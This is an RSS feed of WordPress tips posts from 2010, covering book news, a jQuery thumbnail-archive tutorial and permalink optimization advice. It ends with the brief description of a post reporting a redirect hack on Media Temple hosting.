<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Wordpress tips and tricks from professionals</title>
	<atom:link href="http://wordpress.freebytes.eu/feed/" rel="self" type="application/rss+xml" />
	<link>http://wordpress.freebytes.eu</link>
	<description>Just another Freebytes.eu weblog</description>
	<lastBuildDate>Wed, 28 Jul 2010 22:00:48 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	
		<item>
		<title>DiW v3.0 Book News</title>
		<link>http://wordpress.freebytes.eu/2010/07/29/diw-v3-0-book%c2%a0news/</link>
		<comments>http://wordpress.freebytes.eu/2010/07/29/diw-v3-0-book%c2%a0news/#comments</comments>
		<pubDate>Wed, 28 Jul 2010 22:00:48 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Wordpress Tips]]></category>
		<category><![CDATA[book]]></category>
		<category><![CDATA[printing]]></category>
		<category><![CDATA[Site News]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=2620</guid>
		<description><![CDATA[We have been working diligently on updating Digging into WordPress and finding the best print-on-demand solution. Thanks to your suggestions and ideas for book printing, there were many options to check out. After sizing things up, we&#8217;re pleased to announce the following: Digging into WordPress version 3.0 will be released near the end of August [...]]]></description>
			<content:encoded><![CDATA[<p>We have been working diligently on updating Digging into WordPress and finding the best print-on-demand solution. Thanks to your <a href="http://digwp.com/2010/06/what-no-printed-copies/#comments" title="What? No Printed Copies?">suggestions and ideas for book printing</a>, there were <em>many</em> options to check out. After sizing things up, we&rsquo;re pleased to announce the following:</p>
<ul>
<li>Digging into WordPress version 3.0 will be released near the end of August</li>
<li>Printed editions of <abbr title="Digging into WordPress">DiW</abbr> will be available in September</li>
</ul>
<p>We&rsquo;re still working out the specifics regarding cost, shipping, and so forth, but the book will be updated soon and printed books are back on the menu. So that&rsquo;s the plan at this point &ndash; no hard promises but rather <em>strong goals</em> for <abbr title="Digging into WordPress">DiW</abbr> v3.0. </p>
<p><span id="more-2620"></span></p>
<p>As always, <a href="http://feeds2.feedburner.com/DiggingIntoWordPress" title="Grab the Feed!">stay tuned</a> for more news!</p>
<p style="border:1px solid #ccc; background: #eee; line-height: 20px; padding: 5px 10px; margin-top: 10px;">Like the article? <a href="http://digwp.com/book"><strong>Get the book!</strong></a></p>
<hr />
<p><small>© 2010 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2010/07/v3-book-news/">Permalink</a> | <a href="http://digwp.com/2010/07/v3-book-news/#comments">2 comments</a> | Add to<br />
<a href="http://del.icio.us/post?url=http://digwp.com/2010/07/v3-book-news/&#038;title=DiW%20v3.0%20Book&nbsp;News">Delicious</a><br />
Categorized: <a href="http://digwp.com/category/site-news/" title="View all posts in Site News" rel="category tag">Site News</a> | Tagged: <a href="http://digwp.com/tag/book/" rel="tag">book</a>, <a href="http://digwp.com/tag/printing/" rel="tag">printing</a></small></p>
<p><img src="http://feeds.feedburner.com/~r/DiggingIntoWordPress/~4/zkxNj-96Ygo" height="1" width="1"/></p>
]]></content:encoded>
			<wfw:commentRss>http://wordpress.freebytes.eu/2010/07/29/diw-v3-0-book%c2%a0news/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Thumbnail Based Archives</title>
		<link>http://wordpress.freebytes.eu/2010/07/26/thumbnail-based%c2%a0archives/</link>
		<comments>http://wordpress.freebytes.eu/2010/07/26/thumbnail-based%c2%a0archives/#comments</comments>
		<pubDate>Mon, 26 Jul 2010 13:36:44 +0000</pubDate>
		<dc:creator>Chris Coyier</dc:creator>
				<category><![CDATA[Wordpress Tips]]></category>
		<category><![CDATA[archives]]></category>
		<category><![CDATA[design]]></category>
		<category><![CDATA[loop]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=2604</guid>
		<description><![CDATA[Here at Digging Into WordPress, we&#8217;ve attached thumbnail images to every single (non-link-style) post since day one. We started before WordPress 3.0 had the specific feature for thumbnails. We did it just by attaching a file path to the thumbnail image as a custom field. We clearly display each of those thumbnails in the design [...]]]></description>
			<content:encoded><![CDATA[<p>Here at Digging Into WordPress, we&#8217;ve attached thumbnail images to every single (non-link-style) post since day one. We started before WordPress 3.0 had the specific feature for thumbnails. We did it just by attaching a file path to the thumbnail image as a custom field. We clearly display each of those thumbnails in the design of the homepage and other various pages where it makes sense. </p>
<p>The biggest reason we decided to attach post thumbnails from the beginning was that it is just an interesting bit of data to have available for every single post. It means that we could do something like display random thumbnails in the sidebar, or display thumbnails next to search results. We don&#8217;t do either of those things in this current design, but it&#8217;s always a possibility and possibilities are awesome. </p>
<p>Another thing that is a cool thing to build with thumbnails is unique archive views. I&#8217;ve <a href="http://digwp.com/archives/horz/">built one</a> for us here on Digging Into WordPress and I have some ideas for several more. Check it out:</p>
<p><a href="http://digwp.com/archives/horz/"><img src="http://digwp.com/wp-content/uploads/horzarchives.png" alt="" title="horzarchives" width="590" height="253" class="alignright size-full wp-image-2611" /></a></p>
<p>Read on for the &#8220;how&#8221;&#8230;</p>
<p><span id="more-2604"></span></p>
<h3>1. Created a special page template</h3>
<p>This page will be totally unique, no standard header or footer, so I made a template just for it.</p>
<pre><code>&lt;?php
/*
  Template Name: Thumb Archives - Horz
*/
?&gt;</code></pre>
<h3>2. Creating a horizontal row of thumbs</h3>
<p>One of the best ways to create long horizontal row (that breaks the width of the browser window width) is to use a table with a single row of cells. This way we don&#8217;t have to manually set the width of anything, and also don&#8217;t have to worry about things wrapping as we would if the thumbnails were inline elements or floated. </p>
<p>So we&#8217;ll set up a loop querying for every single post on the site (that isn&#8217;t a link-post) and spit out a table cell for each. Within that table cell, there will be an anchor link pointing to the post which contains a title, the image, and an excerpt.</p>
<pre><code>&lt;table id="archives-table"&gt;
	&lt;tr&gt;
		&lt;?php query_posts('posts_per_page=-1&amp;cat=-52'); ?&gt;
		&lt;?php if (have_posts()) : while (have_posts()) : the_post(); ?&gt;
		&lt;td&gt;
			&lt;a href="&lt;?php the_permalink(); ?&gt;" class="article-block"&gt;
				&lt;span class="title"&gt;&lt;?php the_title(); ?&gt;&lt;/span&gt;
				&lt;img src="&lt;?php echo get_post_meta($post-&gt;ID, 'PostThumb', true); ?&gt;" alt="" /&gt;
				&lt;span class="ex"&gt;&lt;?php the_excerpt(); ?&gt;&lt;/span&gt;
			&lt;/a&gt;
		&lt;/td&gt;
		&lt;?php endwhile; endif; ?&gt;
	&lt;/tr&gt;
&lt;/table&gt;</code></pre>
<h3>3. Dependencies</h3>
<p>We&#8217;re going to need a unique CSS file to use for this. Since this template is completely one-off and we aren&#8217;t using the standard header, the &lt;head> element will be right in this template. We&#8217;ll link out to our own custom CSS file, load in jQuery, and load in some plugins that will facilitate the idea I&#8217;m trying to accomplish (<a href="http://www.2meter3.de/code/hoverFlow/">hoverflow</a> and <a href="http://brandonaaron.net/code/mousewheel/docs">mousewheel</a>), as well as finally our own custom JavaScript file.</p>
<pre><code>&lt;head&gt;
  &lt;meta charset="UTF-8" /&gt;
  &lt;title&gt;Thumbnail Archives | Digging Into WordPress&lt;/title&gt;
  &lt;link rel="stylesheet" type="text/css" media="all" href="&lt;?php bloginfo("template_url"); ?&gt;/css/archives-horz.css" /&gt;
  &lt;script src='http://ajax.googleapis.com/ajax/libs/jquery/1.4/jquery.min.js'&gt;&lt;/script&gt;
  &lt;script src='&lt;?php bloginfo("template_url"); ?&gt;/js/jquery.hoverflow.min.js'&gt;&lt;/script&gt;
  &lt;script src='&lt;?php bloginfo("template_url"); ?&gt;/js/jquery.mousewheel.min.js'&gt;&lt;/script&gt;
  &lt;script src='&lt;?php bloginfo("template_url"); ?&gt;/js/weirdarchives.js'&gt;&lt;/script&gt;
&lt;/head&gt;</code></pre>
<p>If this page was anything more than a one-off page, we should be enqueuing scripts and providing proper hooks in the header and such. I&#8217;ve specifically not done that here because this page is it&#8217;s own unique thing that I don&#8217;t want anything else intruding upon. </p>
<h3>4. Style</h3>
<p>The styling for page is very simple, just a repeating background image and resets. Notice on the page though that the titles and excerpts are hidden until the mouse hovers over the thumbnails. We&#8217;ll do the &#8220;hiding&#8221; by setting the opacity of the thumbnails down to zero in the CSS. We&#8217;ll also position them inset into the thumbnail a bit so they have a bit more dramatic &#8220;reveal&#8221; upon mouse hover, as they slide out and into place.</p>
<pre><code>.title { bottom: 50%; }
.ex { top: 50%; font: 11px Georgia, Serif; color: #555; }
.title, .ex { background: white; width: 130px; padding: 10px; display: block; overflow: hidden; position: absolute; opacity: 0; }
</code></pre>
<h3>5. Horizontal scrolling</h3>
<p>With the mousewheel plugin in place, we can force the window to scroll horizontally instead of vertically with mouse scrollwheels with this:</p>
<pre><code>$("body").mousewheel(function(event, delta) {
    this.scrollLeft -= (delta * 30);
    event.preventDefault();
});</code></pre>
<h3>6. Animation</h3>
<p>When a thumbnail is hovered over, the title and except will show themselves and slide down. To do that, I&#8217;m using jQuery&#8217;s hover function which accepts a function to run on mouseenter and a function to run on mouseleave. For the former, an animation begins which moves the position, height, and opacity. The latter, those values are returned to how they started.</p>
<pre><code>$blocks.hover(function(e) {
    var $el    = $(this),
        $title = $el.find(".title"),
        $ex    = $el.find(".ex");

    $title.hoverFlow(e.type, { bottom: "99%", opacity: 1, height: $title.data("origHeight") })
    $ex.hoverFlow(e.type, { top: "95.5%", opacity: 1, height: $ex.data("origHeight") });

}, function(e) {
    $(this)
        .find(".title").hoverFlow(e.type, { bottom: "50%", opacity: 0, height: 0 })
        .end()
        .find(".ex").hoverFlow(e.type, { top: "50%", opacity: 0, height: 0 });
});</code></pre>
<p>There is a bit more to the JavaScript (but not much), feel free to poke your way around to it from the demo page to see it all.</p>
<h3>7. More</h3>
<p>The point of all this was to create a unique archive browsing experience based around our thumbnails. This isn&#8217;t the only way to do it. In fact I have a few other ideas I&#8217;m going to work on in time. Are they super practical? Maybe not, but they are fun! </p>
<p style="border:1px solid #ccc; background: #eee; line-height: 20px; padding: 5px 10px; margin-top: 10px;">Like the article? <a href="http://digwp.com/book"><strong>Get the book!</strong></a></p>
<hr />
<p><small>© 2010 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2010/07/thumbnail-based-archives/">Permalink</a> | <a href="http://digwp.com/2010/07/thumbnail-based-archives/#comments">10 comments</a> | Add to<br />
<a href="http://del.icio.us/post?url=http://digwp.com/2010/07/thumbnail-based-archives/&#038;title=Thumbnail%20Based&nbsp;Archives">Delicious</a><br />
Categorized: <a href="http://digwp.com/category/design/" title="View all posts in Design" rel="category tag">Design</a> | Tagged: <a href="http://digwp.com/tag/archives/" rel="tag">archives</a>, <a href="http://digwp.com/tag/loop/" rel="tag">loop</a></small></p>
<p><img src="http://feeds.feedburner.com/~r/DiggingIntoWordPress/~4/NDhEWzbDIGk" height="1" width="1"/></p>
]]></content:encoded>
			<wfw:commentRss>http://wordpress.freebytes.eu/2010/07/26/thumbnail-based%c2%a0archives/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Optimizing WordPress Permalinks</title>
		<link>http://wordpress.freebytes.eu/2010/07/21/optimizing-wordpress%c2%a0permalinks/</link>
		<comments>http://wordpress.freebytes.eu/2010/07/21/optimizing-wordpress%c2%a0permalinks/#comments</comments>
		<pubDate>Wed, 21 Jul 2010 08:45:19 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Wordpress Tips]]></category>
		<category><![CDATA[optimization]]></category>
		<category><![CDATA[permalink]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[tips]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=2026</guid>
		<description><![CDATA[Configuring your WordPress permalinks is simple and only takes a second, but understanding what they are and how they work is key to setting up the best permalink structure possible. Your site&#8217;s permalinks are like the street address for your site&#8217;s web pages. They help both people and robots understand your site&#8217;s structure and navigate [...]]]></description>
			<content:encoded><![CDATA[<p>Configuring your <strong>WordPress permalinks</strong> is simple and only takes a second, but understanding what they are and how they work is <em>key</em> to setting up the <strong>best permalink structure possible</strong>. Your site&rsquo;s permalinks are like the street address for your site&rsquo;s web pages. They help both people and robots understand your site&rsquo;s structure and navigate its contents. There is no &ldquo;one magic permalink recipe to rule them all,&rdquo; but keeping a few tips in mind makes it <em>easy</em> to <strong>optimize your WordPress permalinks</strong>. This <abbr title="Digging into WordPress">DiW</abbr> article shows you how..</p>
<p><span id="more-2026"></span></p>
<h3>WordPress makes it <em>so</em> easy</h3>
<p>WordPress gives you full control over your permalinks. First, you have control over the <em>general structure</em> of your permalinks. Navigate to <strong>Settings &gt; Permalinks</strong> and you will see several options for configuring your permalinks:</p>
<p><img src="http://digwp.com/wp-content/blog-images/optimize-permalinks-setting.gif" alt="[ Screenshot: WP Permalink Settings ]" title="WordPress provides control over the general structure of your permalinks" /></p>
<p>This is where you configure the general structure of your permalinks, as seen here with green underline. The portion underlined in red is post/page-specific, and will vary depending on your individual posts and pages. For <a href="http://digwp.com/" title="Digging into WordPress">DigWP.com</a>, we chose the &ldquo;month and name&rdquo; format, which creates the following permalinks according to page-view:</p>
<ul>
<li><strong>Pages</strong> &rarr; <code>http://digwp.com/about/</code></li>
<li><strong>Tag Archives</strong> &rarr; <code>http://digwp.com/tag/permalinks/</code></li>
<li><strong>Category Archives</strong> &rarr; <code>http://digwp.com/category/seo/</code></li>
<li><strong>Single Posts</strong> &rarr; <code>http://digwp.com/2010/05/wordpress-json-api-plugin/</code></li>
</ul>
<p>..and so on. The main thing that you want to optimize at this point is the structure of your single-post permalinks. We chose to include the year and month for our posts, but it has been argued that it is better to omit the date entirely, using a &ldquo;Custom structure&rdquo; like so:</p>
<p><code>/%postname%/</code></p>
<p>This simple structure will produce single-post permalinks that include only the post name:</p>
<p><code>http://digwp.com/wordpress-json-api-plugin/</code></p>
<p>Without the additional date information, this structure is definitely shorter and cleaner, but there may be <a href="http://dougal.gunters.org/blog/2009/02/04/efficient-wordpress-permalinks" title="Efficient permalink strategies for WordPress">performance issues involved with using the &ldquo;name-only&rdquo; permalink format</a>. Perhaps a good trade-off is to include either the post ID or the year:</p>
<pre><code>/%post_id%/%postname%/
/%year%/%postname%/</code></pre>
<p>I think either of these formats is probably an optimal way to configure your permalinks, but you also want to consider the frequency with which you&rsquo;ll be posting content. It may be beneficial to further organize/classify your posts by including the month and day as well. </p>
<p>Certain &ldquo;experts&rdquo; will tell you that including extraneous date information is bad for <acronym title="Search Engine Optimization">SEO</acronym>. The thinking here is that shorter <acronym title="Uniform Resource Locator">URL</acronym>s correspond to a more &ldquo;flat&rdquo; directory structure, which <a href="http://www.seomoz.org/blog/whiteboard-friday-flat-site-architecture" title="Whiteboard Friday - Flat Site Architecture">may provide some SEO benefits</a>. I think the key is to use what&rsquo;s necessary and omit any extraneous information.</p>
<h3>Post/page-specific permalink structures (slugs!)</h3>
<p>Once you&rsquo;ve defined the <em>general</em> permalink structure in the WordPress Admin, you now have full control over your post-specific and page-specific permalink structures (as seen in the above screenshot, red underline). The part of your permalinks that is specific to each page or post is set in the <strong>Write/Edit Post</strong> screen in the WordPress Admin.</p>
<p><img src="http://digwp.com/wp-content/blog-images/optimize-permalinks-slugs.gif" alt="[ Screenshot: WordPress Post Slugs ]" /></p>
<p>As shown in the above screenshot, WordPress provides an &ldquo;Edit&rdquo; button that enables you to modify the post-specific portion of your permalinks:</p>
<p><img src="http://digwp.com/wp-content/blog-images/optimize-permalinks-slugs-e.gif" alt="[ Screenshot: Editing Post Slugs ]" /></p>
<p>This feature enables you to customize your post/page-specific permalinks (also known as a post &ldquo;slug&rdquo;) according to your current permalink optimization strategy. Here are a few examples of commonly employed &ldquo;post-slug&rdquo; strategies:</p>
<dl>
<dt>Don&rsquo;t even worry about it</dt>
<dd>Just let WordPress generate the post-specific slug based on the post or page title. Pros: this is certainly the easiest method of creating permalinks because no thought or action is required. Cons: depending on your post title, you could get some pretty long permalinks that look awkward and sloppy.</dd>
<dt>Remove extraneous words, leave only keywords</dt>
<dd>I have seen lots of blogs do this. It basically involves using the permalink that WordPress generates based on your title, then going in and removing words like &ldquo;the&rdquo;, &ldquo;and&rdquo;, and &ldquo;you&rdquo;, as well as other pronouns and such. Basically the idea is to leave only keywords in your permalinks. This helps keep them short, focused, and optimized for the search engines.</dd>
<dt>Customize every permalink with optimized keywords</dt>
<dd>This is the most labor-intensive strategy, but also potentially the most lucrative in terms of return on investment. The idea here is to research or otherwise understand which keywords your page is going to rank for, and then crafting a post-specific permalink structure based on those keywords. I have seen cases where this is taken to such an extreme that the post slug is completely different than the original post title.</dd>
</dl>
<p>The same goes for both posts and pages, regardless of which method you choose. Personally, I employ a combination of the first two strategies, whereby I go in, write a title, and then look at it and see if there is anything that could be improved. Usually there are several words that need to go, and possibly a keyword or two is added or removed. It&rsquo;s funny because I usually end up rewriting some of the post content after spending some time actually thinking about what to name it. </p>
<blockquote><p>There is always a better title than the one you think should be used.</p>
</blockquote>
<p>The take-home message here is that, by paying attention to post titles and permalinks, you benefit from improved relevancy and potential <acronym title="Search Engine Optimization">SEO</acronym> advantage.</p>
<h3>Think of your users</h3>
<p>When visitors land on your page, does the <acronym title="Uniform Resource Locator">URL</acronym> make sense? Does it correlate with the page title? These are some of the things to think about while setting up the general structure and post-specific slugs for your permalinks. Look at the permalink and ask yourself if it makes complete sense based on what the user will be looking at on the page. If you get too carried away with optimization, a user may get a sense that something isn&rsquo;t quite right. Perhaps the post title says something like:</p>
<p><strong>The Best Name-Brand Shoes</strong></p>
<p>..but then the post slug looks something like this:</p>
<p><code>http://example.com/nike-adidas-reebok-zip-converse-shoes/</code></p>
<p>Perhaps a weak example, but it serves to illustrate the semantic gap that may occur when over-thinking your permalinks.</p>
<h3>Think of the search engines</h3>
<p><em>After</em> considering your users, think about what the search engines are going to see when they come crawling your pages. Does the permalink match the content of the page? If you aren&rsquo;t bothering with changing or optimizing your post slugs, then the answer is probably yes because WordPress generates the slug from the post title.</p>
<p>Also, as mentioned previously, some have argued in favor of a more &ldquo;flat&rdquo; directory structure in order to improve the <acronym title="Search Engine Optimization">SEO</acronym> value of your blog. Whether or not this is actually the case is up for discussion, but it always makes sense to keep things as simple and concise as possible. So when deciding on the general structure for your permalinks, ask yourself if you really need a directory structure that is over three levels deep, like this:</p>
<pre><code>domain/
	2010/
	      01/
		  1/
			post-slug-1
			post-slug-2
			post-slug-3
		  2/
			post-slug-4
			post-slug-5
			post-slug-6
		  3/
			post-slug-7
			post-slug-8
			post-slug-9
	      .
	      .
	      .
	2011/
	2012/</code></pre>
<p>That&rsquo;s going to give you some <em>long</em> permalinks, especially if you just use the default WordPress-generated slugs. When you look at a permalink using &ldquo;<code>year/month/name</code>&rdquo; format, you are essentially creating a virtual folder structure with a subdirectory for each part of the permalink &ndash; the year represents a directory in which you have a bunch of directories for each month, and within each of those directories there could be as many as 31 subdirectories for each day of the month. Then, within each day of the month, you have the post file itself, which may involve further subdirectories when paging is used. It can get crazy pretty quickly, and even though these subdirectories only exist virtually, to a search spider, there is no practical difference between <em>virtual</em> directories that are deeply nested and <em>actual</em> directories that are deeply nested.</p>
<p>When deciding on your permalink structure, ask yourself if you really need the date built into your permalinks. If you are posting prolifically, then you may want to include the date to help keep things organized. Anything less than a few posts a week, and I would opt to go with something simpler, like maybe &ldquo;<code>year/post</code>&rdquo; or &ldquo;<code>id/post</code>&rdquo;, as mentioned above.</p>
<p>Another thing that needs considering is the notion of &ldquo;evergreen content&rdquo;, which generally refers to content that is intended to stay &ldquo;fresh&rdquo; or relevant forever. Regardless how silly this <acronym title="Search Engine Optimization">SEO</acronym> idea happens to be, you may want to consider either omitting or including some sort of date information based on how easily you want the publication date to be recognized by your visitors. I.e., if you are trying to &ldquo;hide&rdquo; the post date in hopes that your content will rank for a longer period of time, then you should omit it from the general permalink structure. Conversely, if you aren&rsquo;t that slimy and want to make it easy for people to know when the post was produced, then throw a year or year/month into the mix. Whatever!</p>
<h3>Think simplicity</h3>
<p>When it comes to organizing the content of your site, <strong>there is a fine balance</strong> between being <em>well-organized</em> and keeping things <em>simple</em>. For example, the simplest structure would involve all posts and pages directly under the root domain. Clean and simple, but as time goes on and your post count gets into the hundreds or thousands, it could be a drag trying to sort through everything in a flat directory structure. Thus, another reason why breaking things down into categories or dates may help your long-term organizational and maintenance strategy.</p>
<p>For the post-specific portion of the permalinks (the post slug), it is also wise to keep things simple, but not at the risk of duplicating post names. For example, if you are writing a post about jQuery, you might have a post slug that is simply &ldquo;<code>jquery</code>&rdquo;, but it&rsquo;s not going to be very helpful. First, it probably will never rank for that term. Second, telling users that the article is about &ldquo;jQuery&rdquo; is about as useless as it gets for both people <em>and</em> machines. So although that would be the simplest permalink possible, it is your interest to specify a little more clearly the content of your post. It just makes everything easier when meaning is readily available from your permalinks.</p>
<h3>Do it <em>before</em> posting</h3>
<p>Once you hit the &ldquo;Publish&rdquo; button, there is <strong>one</strong> thing that you shouldn&rsquo;t change: the post slug. After publishing a post, you can easily and without consequence go back and change the title, meta title, post content, and just about everything else. But as soon as you change that permalink, you will need to 301 redirect the former <acronym title="Uniform Resource Locator">URL</acronym> to the new one in order to avoid perpetual 404 errors now and in the future. But, if you do need to change the permalink <em>after</em> posting, here is a simple line of <acronym title="Hypertext Access">HTAccess</acronym> to help you eliminate any potential 404 errors:</p>
<pre><code>Redirect 301 /old-post-slug/ http://example.com/new-post-slug/</code></pre>
<p>So it&rsquo;s really very simple: we first call the redirect directive, declare it as status 301 (permanent), and then add the old slug followed by the new one. That line will redirect any requests for your previously &ldquo;slugged&rdquo; <acronym title="Uniform Resource Locator">URL</acronym> to your new <acronym title="Uniform Resource Locator">URL</acronym>. For more information on htaccess redirects, check <a href="http://perishablepress.com/press/2008/12/31/redirect-all-broken-links-from-any-domain-via-htaccess/" title="Redirect All (Broken) Links from any Domain via HTAccess">here</a> and <a href="http://perishablepress.com/press/2008/08/12/redirect-all-requests-for-a-nonexistent-file-to-the-actual-file/" title="Redirect All Requests for a Nonexistent File to the Actual File">here</a>.</p>
<h3>Think of the keywords</h3>
<p>As discussed, a great way to create focused, relevant permalinks is to remove the fluff and include only the important keywords. Granted, Google et al may already discount simple words such as &ldquo;if&rdquo;, &ldquo;and&rdquo;, and &ldquo;the&rdquo;, but you may also have keywords for which you don&rsquo;t necessarily want to rank. For example, if you published a post on why Batman is terrible at website design, you may wind up with a auto-generated post slug like this:</p>
<p><code>batman-sucks-at-website-design</code></p>
<p>The word &ldquo;at&rdquo; should probably go, leaving this:</p>
<p><code>batman-sucks-website-design</code></p>
<p>But you may want to rank primarily for the term &ldquo;website-design&rdquo;, while &ldquo;batman&rdquo; is merely anecdotal, used as example, or whatever. Chances are low that anybody is searching for &ldquo;batman website design&rdquo;, but you never know.</p>
<h3>WordPress removes stuff too</h3>
<p>It should also be noted that WordPress removes certain things from your post/page slugs as well. Namely, any punctuation that is included in your post titles will be removed when WordPress automatically generates the post slug. This is both a good thing and a bad thing, depending on how you look at it. There are certain characters that are not allowed in <em>any</em> <acronym title="Uniform Resource Locator">URL</acronym>, so WordPress is wise to remove them for you. On the downside, removal of punctuation and the use of hyphens as replacements for periods can leave you with some rather odd-looking permalinks. For example, when writing about the latest WordPress update, say version 3.1 specifically, writing this as your title:</p>
<p><code>Introducing WordPress 3.1</code></p>
<p>..will give you this as the default post slug:</p>
<p><code>/introducing-wordpress-3-1/</code></p>
<p>..which to me just looks incorrect, like somebody wasn&rsquo;t paying attention. Moral of the story: even if you&rsquo;re too lazy to optimize your permalink slugs, it is <em>wise to be mindful</em> of what&rsquo;s going on with the auto-generated stuff. In this regard, the WordPress devs made an excellent decision when they decided to move the permalink edit box to just below the post title. I do think it could be a little longer though. Most of the time you need to scroll sideways a bit to see what the entire permalink is looking like.</p>
<h3>WordPress short URLs</h3>
<p>What about Twitter-friendly &ldquo;shortlinks&rdquo; for your posts? Generally even the shortest permalink is going to be too long for tweeting, posting, sharing, etc. There are <a href="http://perishablepress.com/press/2009/10/18/stupid-twitter-tricks/" title="Stupid Twitter Tricks">many ways to create short links</a>, but WordPress actually has <em>two</em> built-in ways to create and display short <acronym title="Uniform Resource Locator">URL</acronym>s. Let&rsquo;s take a look at each:</p>
<p>First is the &ldquo;old&rdquo; way of doing it. By default, WordPress uses a query-string format for your <acronym title="Uniform Resource Locator">URL</acronym>s. As discussed throughout this article, most WordPress users opt for the &ldquo;pretty&rdquo; permalinks instead of going with the &ldquo;ugly&rdquo; default <acronym title="Uniform Resource Locator">URL</acronym>s. But even when permalinks are used, WordPress still understands the default query-string <acronym title="Uniform Resource Locator">URL</acronym> structure, so you can include short links in your posts by doing something like this:</p>
<pre><code>&lt;?php echo get_bloginfo('url')."/?p=".$post-&gt;ID; ?&gt;</code></pre>
<p>Shortlinks have become so common that <a href="http://codex.wordpress.org/Function_Reference/the_shortlink" title="Function Reference/the shortlink">WordPress 3.0 now includes</a> a built-in template tag for this very purpose. All you need to display shortlinks in WordPress 3 and above is include the following code in your theme template file(s):</p>
<p><code>&lt;?php the_shortlink('link text', 'link title', 'before link', 'after link'); ?&gt;</code></p>
<p>Either of these methods will output a link with the following <acronym title="Uniform Resource Locator">URL</acronym> structure:</p>
<p><code>http://example.com/?p=77</code></p>
<p>Also note that WordPress 3.0 now includes a shortlink in the <code>&lt;head&gt;</code> section of your posts and pages, something like this:</p>
<p><code>&lt;link rel='shortlink' href='http://example.com/?p=77' /&gt;</code></p>
<p>This is in <em>addition</em> to the canoncial link tag that is also included in the <code>&lt;head&gt;</code> section.</p>
<h3>WordPress canonical links</h3>
<p>WordPress canonical <acronym title="Uniform Resource Locator">URL</acronym>s are included in the <code>&lt;head&gt;</code> section of your posts and pages. They look like this:</p>
<p><code>&lt;link rel='canonical' href='http://example.com/post-slug/' /&gt;</code></p>
<p>These canonical links help the search engines better understand the structure and content of your site. By including the canoncial element in your pages, you are telling Google et al which pages are <em>the</em> actual, canonical pages for your site. There are several cases where this is extremely helpful, namely:</p>
<ul>
<li>Social media linking often involves shortlinks &ndash; specifying a canonical link helps ensure that all of the shortlinking is sorted out and that your actual page gets the credit</li>
<li>Shopping cart sites that feature lots of query-string <acronym title="Uniform Resource Locator">URL</acronym>s &ndash; when many links look practically identical, having a canonical link specified helps to sort things out</li>
<li>Guest posting and other duplicate content &ndash; when your content is featured (or scraped) in multiple places around the Web, it is nice to have a clear signal as to which case is canonical</li>
</ul>
<h4>You don&#8217;t need htaccess to make changes</h4>
<p>What if you want to change the <em>general</em> structure of your permalinks? How do you go about doing that without losing your page rank while creating a mess of 404 errors? In older versions of WordPress, this was a real concern. Many folks began with full-date permalinks and then later realized they wanted cleaner, shorter, &ldquo;dateless&rdquo; permalinks instead. To do this back in the day, some <a href="http://perishablepress.com/press/2008/02/06/permalink-evolution-customize-and-optimize-your-dated-wordpress-permalinks/" title="Permalink Evolution: Customize and Optimize Your Dated WordPress Permalinks">HTAccess trickery</a> was required to keep the old links from going nowhere. </p>
<p>Fortunately those days are long gone, as WordPress now automagically handles all the redirecting for you when making changes to the <strong>general structure</strong> of your permalinks (via the <strong>Settings &gt; Permalinks</strong> options in the WordPress Admin). All you need to do is change the setting to whatever structure you would like and WordPress takes care of the rest. Just remember to backup your database and htaccess file before making any changes.</p>
<p style="border:1px solid #ccc; background: #eee; line-height: 20px; padding: 5px 10px; margin-top: 10px;">Like the article? <a href="http://digwp.com/book"><strong>Get the book!</strong></a></p>
<hr />
<p><small>© 2010 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2010/07/optimizing-wordpress-permalinks/">Permalink</a> | <a href="http://digwp.com/2010/07/optimizing-wordpress-permalinks/#comments">30 comments</a> | Add to<br />
<a href="http://del.icio.us/post?url=http://digwp.com/2010/07/optimizing-wordpress-permalinks/&#038;title=Optimizing%20WordPress&nbsp;Permalinks">Delicious</a><br />
Categorized: <a href="http://digwp.com/category/seo/" title="View all posts in SEO" rel="category tag">SEO</a> | Tagged: <a href="http://digwp.com/tag/optimization/" rel="tag">optimization</a>, <a href="http://digwp.com/tag/permalink/" rel="tag">permalink</a>, <a href="http://digwp.com/tag/tips/" rel="tag">tips</a></small></p>
<p><img src="http://feeds.feedburner.com/~r/DiggingIntoWordPress/~4/-bGhb3ybBK0" height="1" width="1"/></p>
]]></content:encoded>
			<wfw:commentRss>http://wordpress.freebytes.eu/2010/07/21/optimizing-wordpress%c2%a0permalinks/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Media Temple WordPress Hack</title>
		<link>http://wordpress.freebytes.eu/2010/07/17/media-temple-wordpress%c2%a0hack/</link>
		<comments>http://wordpress.freebytes.eu/2010/07/17/media-temple-wordpress%c2%a0hack/#comments</comments>
		<pubDate>Sat, 17 Jul 2010 15:38:15 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Wordpress Tips]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[mt]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=2547</guid>
		<description><![CDATA[It looks like Media Temple WordPress installs have been hit with a WordPress Redirect Exploit. We got hit here at DigWP.com, but have cleaned things up and are taking steps to prevent it from happening again. Here is what Media Temple knows so far: Visitors viewing&#160;posts on your blog may be redirected to a third-party [...]]]></description>
